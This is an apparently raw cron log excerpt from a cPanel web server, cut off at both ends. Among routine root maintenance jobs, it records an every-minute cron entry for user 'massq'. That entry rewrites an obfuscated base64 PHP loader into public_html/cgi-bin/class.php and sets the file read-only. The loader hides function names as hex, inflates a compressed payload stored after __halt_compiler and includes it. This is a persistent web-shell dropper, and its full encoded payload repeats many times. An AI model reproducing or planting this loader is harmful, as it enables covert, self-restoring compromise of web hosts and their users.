/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:45:01 server CROND[30573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:45:01 server CROND[30574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 07:45:01 server CROND[30575]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 07:46:01 server CROND[30685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:47:01 server CROND[30748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:48:01 server CROND[30798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:49:01 server CROND[30861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:50:01 server CROND[31029]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 07:50:01 server CROND[31034]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 07:50:01 server CROND[31033]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 07:50:01 server CROND[31035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:50:01 server CROND[31036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 07:51:01 server CROND[31159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:52:01 server CROND[31219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:53:01 server CROND[31270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:54:01 server CROND[31352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:55:01 server CROND[31570]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 07:55:01 server CROND[31571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 07:55:01 server CROND[31572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:56:01 server CROND[31683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:57:01 server CROND[31742]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 07:57:01 server CROND[31743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:58:01 server CROND[31795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRV